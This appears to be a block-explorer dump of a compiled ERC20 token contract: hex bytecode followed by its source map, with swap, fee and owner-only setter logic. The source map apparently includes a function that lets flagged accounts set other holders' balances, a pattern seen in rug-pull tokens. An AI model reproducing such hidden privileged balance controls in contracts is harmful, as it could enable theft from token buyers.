8f55a4df523b3ef90611be39086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055601954601454600091611c2b91600291611c259182908790611e5e565b90611ee0565b90506000611c398383611acd565b9050611c4481611f22565b6014544790600090611c6490611c5b906002611ee0565b60195490611acd565b90506000611c866002611c2584611c2560145488611e5e90919063ffffffff16565b90506000611ca383611c2560165487611e5e90919063ffffffff16565b90506000611cbb82611cb58786611acd565b90611acd565b90508015611cde57600454611cde9061010090046001600160a01b0316826120b5565b8115611cfa57600554611cfa906001600160a01b0316836120b5565b600083118015611d0a5750600087115b15611d1957611d1987846120f0565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316611d476001546121c5565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600c6020526040812054819060ff1615611d9c57611d956064611c2560175486611e5e90919063ffffffff16565b9050611dda565b6001600160a01b0384166000908152600c602052604090205460ff1615611dda57611dd76064611c2560185486611e5e90919063ffffffff16565b90505b8015611e545730600090815260066020526040902054611dfa9082611530565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e4b9085815260200190565b60405180910390a35b611ac48382611acd565b600082600003611e7057506000610ba9565b6000611e7c8385612514565b905082611e89858361252b565b14610c135760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c44565b6000610c1383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121cd565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611f5757611f576124a9565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611fb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd4919061248c565b81600181518110611fe757611fe76124a9565b6001600160a01b039283166020918202929092010152601e5461200d913091168461158f565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612046908590600090869030904290600401612591565b600060405180830381600087803b15801561206057600080fd5b505af1158015612074573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516120a99291906125cd565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156120eb573d6000803e3d6000fd5b505050565b601e546121089030906001600160a01b03168461158f565b601e546001600160a01b031663f305d7198230856000806121316000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612199573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906121be91906125ee565b5050505050565b600081610ba9565b600081836121ee5760405162461bcd60e51b8152600401610c4491906121fb565b506000611ac4848661252b565b600060208083528351808285015260005b818110156122285785810183015185820160400152820161220c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461225e57600080fd5b50565b6000806040838503121561227457600080fd5b823561227f81612249565b946020939093013593505050565b6000806000606084860312156122a257600080fd5b83356122ad81612249565b925060208401356122bd81612249565b929592945050506040919091013590565b803580151581146122de57600080fd5b919050565b6000602082840312156122f557600080fd5b610c13826122ce565b60006020828403121561231057600080fd5b8135610c1381612249565b60006020828403121561232d57600080fd5b5035919050565b60008060006060848603121561234957600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561237557600080fd5b833567ffffffffffffffff8082111561238d57600080fd5b818601915086601f8301126123a157600080fd5b8135818111156123b057600080fd5b8760208260051b85010111156123c557600080fd5b6020928301955093506123db91860190506122ce565b90509250925092565b600080604083850312156123f757600080fd5b823561240281612249565b9150602083013561241281612249565b809150509250929050565b600181811c9082168061243157607f821691505b60208210810361245157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561249e57600080fd5b8151610c1381612249565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016124e7576124e76124bf565b5060010190565b80820180821115610ba957610ba96124bf565b81810381811115610ba957610ba96124bf565b8082028115828204841417610ba957610ba96124bf565b60008261254857634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b838110156125865781516001600160a01b031687529582019590820190600101612561565b509495945050505050565b85815284602082015260a0604082015260006125b060a083018661254d565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006125e6604083018461254d565b949350505050565b60008060006060848603121561260357600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d810e56fca38367905ef557215223f451b32bf72c323e31ed0cadec66e1365a764736f6c63430008110033
Deployed Bytecode Sourcemap
4680:14974:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8549:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9842:161;;;;;;;;;;-1:-1:-1;9842:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9842:161:0;1023:187:1;4924:40:0;;;;;;;;;;-1:-1:-1;4924:40:0;;;;-1:-1:-1;;;;;4924:40:0;;;;;;-1:-1:-1;;;;;1395:32:1;;;1377:51;;1365:2;1350:18;4924:40:0;1215:219:1;6266:41:0;;;;;;;;;;-1:-1:-1;6266:41:0;;;;-1:-1:-1;;;;;6266:41:0;;;8826:100;;;;;;;;;;-1:-1:-1;8906:12:0;;8826:100;;;1819:25:1;;;1807:2;1792:18;8826:100:0;1673:177:1;14580:313:0;;;;;;;;;;-1:-1:-1;14580:313:0;;;;;:::i;:::-;;:::i;12061:113::-;;;;;;;;;;-1:-1:-1;12061:113:0;;;;;:::i;:::-;;:::i;:::-;;4971:81;;;;;;;;;;;;;;;13238:128;;;;;;;;;;;;;:::i;12784:129::-;;;;;;;;;;-1:-1:-1;12784:129:0;;;;;:::i;:::-;;:::i;8735:83::-;;;;;;;;;;-1:-1:-1;8801:9:0;;8735:83;;8801:9;;;;3268:36:1;;3256:2;3241:18;8735:83:0;3126:184:1;12650:126:0;;;;;;;;;;-1:-1:-1;12650:126:0;;;;;:::i;:::-;;:::i;9211:218::-;;;;;;;;;;-1:-1:-1;9211:218:0;;;;;:::i;:::-;;:::i;5451:38::-;;;;;;;;;;-1:-1:-1;5451:38:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12518:124;;;;;;;;;;-1:-1:-1;12518:124:0;;;;;:::i;:::-;;:::i;5403:41::-;;;;;;;;;;-1:-1:-1;5403:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6381:40;;;;;;;;;;-1:-1:-1;6381:40:0;;;;-1:-1:-1;;;6381:40:0;;;;;;5751:34;;;;;;;;;;;;;;;;13512:731;;;;;;;;;;-1:-1:-1;13512:731:0;;;;;:::i;:::-;;:::i;10582:331::-;;;;;;;;;;-1:-1:-1;10582:331:0;;;;;:::i;:::-;;:::i;5792:34::-;;;;;;;;;;;;;;;;12182:218;;;;;;;;;;-1:-1:-1;12182:218:0;;;;;:::i;:::-;;:::i;8934:118::-;;;;;;;;;;-1:-1:-1;8934:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;9027:17:0;9000:7;9027:17;;;:8;:17;;;;;;;8934:118;5350:46;;;;;;;;;;-1:-1:-1;5350:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10356:218;;;;;;;;;;-1:-1:-1;10356:218:0;;;;;:::i;:::-;;:::i;6073:55::-;;;;;;;;;;;;;;;;6136:53;;;;;;;;;;;;;;;;5914:37;;;;;;;;;;;;;;;;5625:36;;;;;;;;;;;;;;;;5295:48;;;;;;;;;;-1:-1:-1;5295:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3387:79;;;;;;;;;;-1:-1:-1;3425:7:0;3452:6;-1:-1:-1;;;;;3452:6:0;3387:79;;10921:338;;;;;;;;;;-1:-1:-1;10921:338:0;;;;;:::i;:::-;;:::i;8640:87::-;;;;;;;;;;;;;:::i;3137:34::-;;;;;;;;;;;;;;;;4883;;;;;;;;;;-1:-1:-1;4883:34:0;;;;;;;-1:-1:-1;;;;;4883:34:0;;;9714:120;;;;;;;;;;-1:-1:-1;9803:23:0;;9714:120;;5958:44;;;;;;;;;;;;;;;;9437:269;;;;;;;;;;-1:-1:-1;9437:269:0;;;;;:::i;:::-;;:::i;13101:125::-;;;;;;;;;;-1:-1:-1;13101:125:0;;;;;:::i;:::-;;:::i;5833:29::-;;;;;;;;;;;;;;;;14405:167;;;;;;;;;;-1:-1:-1;14405:167:0;;;;;:::i;:::-;;:::i;11695:358::-;;;;;;;;;;-1:-1:-1;11695:358:0;;;;;:::i;:::-;;:::i;5582:30::-;;;;;;;;;;;;;;;;12921:172;;;;;;;;;;-1:-1:-1;12921:172:0;;;;;:::i;:::-;;:::i;5540:35::-;;;;;;;;;;;;;;;;6314:26;;;;;;;;;;-1:-1:-1;6314:26:0;;;;-1:-1:-1;;;;;6314:26:0;;;5668:36;;;;;;;;;;;;;;;;5236:52;;;;;;;;;;-1:-1:-1;5236:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5711:31;;;;;;;;;;;;;;;;14251:111;;;;;;;;;;-1:-1:-1;14251:111:0;;;;;:::i;:::-;;:::i;6428:45::-;;;;;;;;;;-1:-1:-1;6428:45:0;;;;-1:-1:-1;;;6428:45:0;;;;;;5498:35;;;;;;;;;;;;;;;;9060:143;;;;;;;;;;-1:-1:-1;9060:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;9168:18:0;;;9141:7;9168:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9060:143;5871:36;;;;;;;;;;;;;;;;12408:102;;;;;;;;;;-1:-1:-1;12408:102:0;;;;;:::i;:::-;;:::i;5179:50::-;;;;;;;;;;-1:-1:-1;5179:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3601:157;;;;;;;;;;-1:-1:-1;3601:157:0;;;;;:::i;:::-;;:::i;6480:35::-;;;;;;;;;;-1:-1:-1;6480:35:0;;;;-1:-1:-1;;;6480:35:0;;;;;;8549:83;8586:13;8619:5;8612:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8549:83;:::o;9842:161::-;9917:4;9934:39;601:10;9957:7;9966:6;9934:8;:39::i;:::-;-1:-1:-1;9991:4:0;9842:161;;;;;:::o;14580:313::-;14678:4;14695:36;14705:6;14713:9;14724:6;14695:9;:36::i;:::-;-1:-1:-1;14742:121:0;14751:6;601:10;14773:89;14811:6;14773:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14773:19:0;;;;;;:11;:19;;;;;;;;601:10;14773:33;;;;;;;;;;:37;:89::i;:::-;14742:8;:121::i;:::-;-1:-1:-1;14881:4:0;14580:313;;;;;;:::o;12061:113::-;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;;;;;;;;;12139:16:::1;:27:::0;;;::::1;;-1:-1:-1::0;;;12139:27:0::1;-1:-1:-1::0;;;;12139:27:0;;::::1;::::0;;;::::1;::::0;;12061:113::o;13238:128::-;13345:11;-1:-1:-1;;;;;9027:17:0;13291:7;9027:17;;;:8;:17;;;;;;13318:12;;:40;;:16;:40::i;:::-;13311:47;;13238:128;:::o;12784:129::-;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;12866:17:::1;:39:::0;;-1:-1:-1;;;;;;12866:39:0::1;-1:-1:-1::0;;;;;12866:39:0;;;::::1;::::0;;;::::1;::::0;;12784:129::o;12650:126::-;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;12735:11:::1;:33:::0;;-1:-1:-1;;;;;12735:33:0;;::::1;;;-1:-1:-1::0;;;;;;12735:33:0;;::::1;::::0;;;::::1;::::0;;12650:126::o;9211:218::-;601:10;9299:4;9348:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9348:34:0;;;;;;;;;;9299:4;;9316:83;;9339:7;;9348:50;;9387:10;9348:38;:50::i;12518:124::-;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;12600:23:::1;:34:::0;12518:124::o;13512:731::-;13592:22;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;13629:35:::1;13686:16;13629:74;;13752:16;-1:-1:-1::0;;;;;13752:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13734:53:0::1;;13796:4;13803:16;-1:-1:-1::0;;;;;13803:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13734:93;::::0;-1:-1:-1;;;;;;13734:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6140:15:1;;;13734:93:0::1;::::0;::::1;6122:34:1::0;6192:15;;6172:18;;;6165:43;6057:18;;13734:93:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13717:110:::0;-1:-1:-1;;;;;;13843:28:0;::::1;13840:200;;13932:16;-1:-1:-1::0;;;;;13932:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13914:74:0::1;;13997:4;14004:16;-1:-1:-1::0;;;;;14004:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13914:114;::::0;-1:-1:-1;;;;;;13914:114:0::1;::::0;;;;;;-1:-1:-1;;;;;6140:15:1;;;13914:114:0::1;::::0;::::1;6122:34:1::0;6192:15;;6172:18;;;6165:43;6057:18;;13914:114:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13897:131;;13840:200;14052:11;:28:::0;;-1:-1:-1;;;;;;14052:28:0;;::::1;-1:-1:-1::0;;;;;14052:28:0;;::::1;::::0;;::::1;::::0;;14091:15:::1;:34:::0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;14139:41:0;;;:19:::1;:41;::::0;;;;;;;:48;;-1:-1:-1;;14139:48:0;;::::1;-1:-1:-1::0;14139:48:0;;::::1;::::0;;;14215:11;;;;::::1;14198:30:::0;;:8:::1;:30:::0;;;;;:37;;;;::::1;::::0;;::::1;::::0;;14052:28;14066:14;-1:-1:-1;13512:731:0:o;10582:331::-;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;10703:16:::1;:34:::0;;;10748:16:::1;:34:::0;;;10793:11:::1;:24:::0;;;10850:55:::1;10807:10:::0;10850:38:::1;10722:15:::0;10767;10850:20:::1;:38::i;:::-;:42:::0;::::1;:55::i;:::-;10830:17;:75:::0;-1:-1:-1;;;10582:331:0:o;12182:218::-;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;12288:9:::1;12284:109;12303:17:::0;;::::1;12284:109;;;12375:6;12342:19;:30;12362:6;;12369:1;12362:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12342:30:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;12342:30:0;:39;;-1:-1:-1;;12342:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12322:3;::::1;::::0;::::1;:::i;:::-;;;;12284:109;;;;12182:218:::0;;;:::o;10356:::-;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;10460:9:::1;10456:111;10475:18:::0;;::::1;10456:111;;;10547:8;10515:17;:29;10533:7;;10541:1;10533:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10515:29:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10515:29:0;:40;;-1:-1:-1;;10515:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10495:3;::::1;::::0;::::1;:::i;:::-;;;;10456:111;;10921:338:::0;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;11042:17:::1;:35:::0;;;11088:17:::1;:35:::0;;;11134:12:::1;:25:::0;;;11193:58:::1;11149:10:::0;11193:40:::1;11062:15:::0;11108;11193:21:::1;:40::i;:58::-;11172:18;:79:::0;-1:-1:-1;;;10921:338:0:o;8640:87::-;8679:13;8712:7;8705:14;;;;;:::i;9437:269::-;9530:4;9547:129;601:10;9570:7;9579:96;9618:15;9579:96;;;;;;;;;;;;;;;;;601:10;9579:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9579:34:0;;;;;;;;;;;;:38;:96::i;13101:125::-;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;13182:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;13182:36:0::1;-1:-1:-1::0;;;;13182:36:0;;::::1;::::0;;;::::1;::::0;;13101:125::o;14405:167::-;14483:4;14500:42;601:10;14524:9;14535:6;14500:9;:42::i;11695:358::-;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;11836:15:::1;:35:::0;;;11882:15:::1;:35:::0;;;11928:10:::1;:25:::0;;;11993:52:::1;11941:12:::0;11993:36:::1;11854:17:::0;11900;11993:19:::1;:36::i;:52::-;11966:24;:79:::0;-1:-1:-1;;;11695:358:0:o;12921:172::-;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;12999:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;12999:32:0::1;-1:-1:-1::0;;;;12999:32:0;;::::1;;::::0;;13047:38:::1;::::0;::::1;::::0;::::1;::::0;13023:8;1188:14:1;1181:22;1163:41;;1151:2;1136:18;;1023:187;13047:38:0::1;;;;;;;;12921:172:::0;:::o;14251:111::-;14326:10;14314:23;;;;:8;:23;;;;;;;;14308:52;;;-1:-1:-1;;;;;14338:13:0;;;;;;:8;:13;;;;;:22;;;14308:52;14251:111;;:::o;12408:102::-;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;12480:10:::1;:22:::0;12408:102::o;3601:157::-;3514:6;;-1:-1:-1;;;;;3514:6:0;601:10;3514:22;3506:67;;;;-1:-1:-1;;;3506:67:0;;;;;;;:::i;:::-;3675:6:::1;:19:::0;;-1:-1:-1;;;;;;3675:19:0::1;-1:-1:-1::0;;;;;3675:19:0;::::1;::::0;;::::1;::::0;;3710:40:::1;::::0;3675:19;;;;3710:40:::1;::::0;3675:6;3710:40:::1;3601:157:::0;:::o;1452:181::-;1510:7;;1542:5;1546:1;1542;:5;:::i;:::-;1530:17;;1571:1;1566;:6;;1558:46;;;;-1:-1:-1;;;1558:46:0;;6955:2:1;1558:46:0;;;6937:21:1;6994:2;6974:18;;;6967:30;7033:29;7013:18;;;7006:57;7080:18;;1558:46:0;6753:351:1;10011:337:0;-1:-1:-1;;;;;10104:19:0;;10096:68;;;;-1:-1:-1;;;10096:68:0;;7311:2:1;10096:68:0;;;7293:21:1;7350:2;7330:18;;;7323:30;7389:34;7369:18;;;7362:62;-1:-1:-1;;;7440:18:1;;;7433:34;7484:19;;10096:68:0;7109:400:1;10096:68:0;-1:-1:-1;;;;;10183:21:0;;10175:68;;;;-1:-1:-1;;;10175:68:0;;7716:2:1;10175:68:0;;;7698:21:1;7755:2;7735:18;;;7728:30;7794:34;7774:18;;;7767:62;-1:-1:-1;;;7845:18:1;;;7838:32;7887:19;;10175:68:0;7514:398:1;10175:68:0;-1:-1:-1;;;;;10256:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10308:32;;1819:25:1;;;10308:32:0;;1792:18:1;10308:32:0;;;;;;;10011:337;;;:::o;14901:1829::-;14988:4;-1:-1:-1;;;;;15015:20:0;;15007:70;;;;-1:-1:-1;;;15007:70:0;;8119:2:1;15007:70:0;;;8101:21:1;8158:2;8138:18;;;8131:30;8197:34;8177:18;;;8170:62;-1:-1:-1;;;8248:18:1;;;8241:35;8293:19;;15007:70:0;7917:401:1;15007:70:0;-1:-1:-1;;;;;15096:23:0;;15088:71;;;;-1:-1:-1;;;15088:71:0;;8525:2:1;15088:71:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:33;8697:19;;15088:71:0;8323:399:1;15088:71:0;15183:16;;-1:-1:-1;;;15183:16:0;;;;15180:1543;;;15233:41;15248:6;15256:9;15267:6;15233:14;:41::i;:::-;15226:48;;;;15180:1543;-1:-1:-1;;;;;15330:23:0;;;;;;:15;:23;;;;;;;;15329:24;:55;;;;-1:-1:-1;;;;;;15358:26:0;;;;;;:15;:26;;;;;;;;15357:27;15329:55;15326:170;;;15423:12;;15413:6;:22;;15405:75;;;;-1:-1:-1;;;15405:75:0;;8929:2:1;15405:75:0;;;8911:21:1;8968:2;8948:18;;;8941:30;9007:34;8987:18;;;8980:62;-1:-1:-1;;;9058:18:1;;;9051:38;9106:19;;15405:75:0;8727:404:1;15405:75:0;15559:4;15510:28;9027:17;;;:8;:17;;;;;;15635:23;;15611:47;;;;;;;15677:44;;-1:-1:-1;15705:16:0;;-1:-1:-1;;;15705:16:0;;;;15704:17;15677:44;:65;;;;-1:-1:-1;;;;;;15726:16:0;;;;;;:8;:16;;;;;;;;15725:17;15677:65;:90;;;;-1:-1:-1;15746:21:0;;-1:-1:-1;;;15746:21:0;;;;15677:90;15673:297;;;15805:25;;-1:-1:-1;;;15805:25:0;;;;15802:97;;;15876:23;;15853:46;;15802:97;15918:36;15933:20;15918:14;:36::i;:::-;15973:10;15976:6;15973:2;:10::i;:::-;15970:96;;;-1:-1:-1;;;;;16022:16:0;;;;;;:8;:16;;;;;;:28;;16043:6;16022:20;:28::i;:::-;-1:-1:-1;;;;;16003:16:0;;;;;;:8;:16;;;;;:47;15970:96;-1:-1:-1;;;;;16089:25:0;;16066:19;16089:25;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;16118:28:0;;;;;;:17;:28;;;;;;;;16089:57;16088:148;;16202:34;16210:6;16218:9;16229:6;16202:7;:34::i;:::-;16088:148;;;16193:6;16088:148;16268:16;;16066:170;;-1:-1:-1;;;;16268:16:0;;;;:51;;;;-1:-1:-1;;;;;;16289:30:0;;;;;;:19;:30;;;;;;;;16288:31;16268:51;16265:133;;;16387:10;;16346:37;16371:11;16346:20;16356:9;-1:-1:-1;;;;;9027:17:0;9000:7;9027:17;;;:8;:17;;;;;;;8934:118;16346:37;:51;;16338:60;;;;;;-1:-1:-1;;;;;16462:15:0;;;;;;:5;:15;;;;;;;;16459:91;;;16518:22;;;;-1:-1:-1;;;;;16587:19:0;;;;;;:8;:19;;;;;;:36;;16611:11;16587:23;:36::i;:::-;-1:-1:-1;;;;;16565:19:0;;;;;;;:8;:19;;;;;;;:58;;;;16645:40;;;;;;;;;;16673:11;1819:25:1;;1807:2;1792:18;;1673:177;16645:40:0;;;;;;;;16707:4;16700:11;;;;;;;1787:192;1873:7;1909:12;1901:6;;;;1893:29;;;;-1:-1:-1;;;1893:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1933:9:0;1945:5;1949:1;1945;:5;:::i;:::-;1933:17;1787:192;-1:-1:-1;;;;;1787:192:0:o;1643:136::-;1701:7;1728:43;1732:1;1735;1728:43;;;;;;;;;;;;;;;;;:3;:43::i;16742:326::-;16871:52;;;;;;;;;;;-1:-1:-1;;;16871:52:0;;;;;;;;-1:-1:-1;;;;;16871:16:0;;16835:4;16871:16;;;:8;:16;;;;;;;:52;;16892:6;;16871:20;:52::i;:::-;-1:-1:-1;;;;;16852:16:0;;;;;;;:8;:16;;;;;;:71;;;;16956:19;;;;;;;:31;;16980:6;16956:23;:31::i;:::-;-1:-1:-1;;;;;16934:19:0;;;;;;;:8;:19;;;;;;;:53;;;;17003:35;;;;;;;;;;17031:6;1819:25:1;;1807:2;1792:18;;1673:177;17003:35:0;;;;;;;;-1:-1:-1;17056:4:0;16742:326;;;;;:::o;17076:1037::-;6938:16;:23;;-1:-1:-1;;;;6938:23:0;-1:-1:-1;;;6938:23:0;;;17213:24:::1;::::0;6938:16;17192:15;6938:23;;17180:65:::1;::::0;17243:1:::1;::::0;17180:58:::1;::::0;;;:7;;:11:::1;:28::i;:::-;:32:::0;::::1;:58::i;:65::-;17158:87:::0;-1:-1:-1;17256:21:0::1;17280:24;:7:::0;17158:87;17280:11:::1;:24::i;:::-;17256:48;;17317:31;17334:13;17317:16;:31::i;:::-;17469:15;::::0;17384:21:::1;::::0;17359:22:::1;::::0;17440:52:::1;::::0;17469:22:::1;::::0;17489:1:::1;17469:19;:22::i;:::-;17440:24;::::0;;:28:::1;:52::i;:::-;17418:74;;17513:26;17542:59;17599:1;17542:52;17582:11;17542:35;17561:15;;17542:14;:18;;:35;;;;:::i;:59::-;17513:88;;17612:21;17636:47;17671:11;17636:30;17655:10;;17636:14;:18;;:30;;;;:::i;:47::-;17612:71:::0;-1:-1:-1;17694:26:0::1;17723:57;17612:71:::0;17723:38:::1;:14:::0;17742:18;17723::::1;:38::i;:::-;:42:::0;::::1;:57::i;:::-;17694:86:::0;-1:-1:-1;17796:22:0;;17793:93:::1;;17854:11;::::0;17833:53:::1;::::0;17854:11:::1;::::0;::::1;-1:-1:-1::0;;;;;17854:11:0::1;17867:18:::0;17833:20:::1;:53::i;:::-;17902:17:::0;;17899:89:::1;;17955:17;::::0;17934:54:::1;::::0;-1:-1:-1;;;;;17955:17:0::1;17974:13:::0;17934:20:::1;:54::i;:::-;18025:1;18004:18;:22;:41;;;;;18044:1;18030:11;:15;18004:41;18001:104;;;18060:45;18073:11;18086:18;18060:12;:45::i;:::-;-1:-1:-1::0;;6984:16:0;:24;;-1:-1:-1;;;;6984:24:0;;;-1:-1:-1;;;;;;17076:1037:0:o;11562:125::-;11614:4;11669:9;-1:-1:-1;;;;;11648:30:0;:17;11655:9;;11648:6;:17::i;:::-;-1:-1:-1;;;;;11648:30:0;;11646:33;;11562:125;-1:-1:-1;;11562:125:0:o;19041:604::-;-1:-1:-1;;;;;19202:16:0;;19127:7;19202:16;;;:8;:16;;;;;;19127:7;;19202:16;;19199:215;;;19247:38;19281:3;19247:29;19258:17;;19247:6;:10;;:29;;;;:::i;:38::-;19235:50;;19199:215;;;-1:-1:-1;;;;;19315:19:0;;;;;;:8;:19;;;;;;;;19312:102;;;19363:39;19398:3;19363:30;19374:18;;19363:6;:10;;:30;;;;:::i;:39::-;19351:51;;19312:102;19429:13;;19426:171;;19502:4;19485:23;;;;:8;:23;;;;;;:38;;19513:9;19485:27;:38::i;:::-;19476:4;19459:23;;;;:8;:23;;;;;;;:64;;;;19543:42;;-1:-1:-1;;;;;19543:42:0;;;;;;;19575:9;1819:25:1;;1807:2;1792:18;;1673:177;19543:42:0;;;;;;;;19426:171;19616:21;:6;19627:9;19616:10;:21::i;1985:248::-;2043:7;2067:1;2072;2067:6;2063:47;;-1:-1:-1;2097:1:0;2090:8;;2063:47;2120:9;2132:5;2136:1;2132;:5;:::i;:::-;2120:17;-1:-1:-1;2165:1:0;2156:5;2160:1;2120:17;2156:5;:::i;:::-;:10;2148:56;;;;-1:-1:-1;;;2148:56:0;;9866:2:1;2148:56:0;;;9848:21:1;9905:2;9885:18;;;9878:30;9944:34;9924:18;;;9917:62;-1:-1:-1;;;9995:18:1;;;9988:31;10036:19;;2148:56:0;9664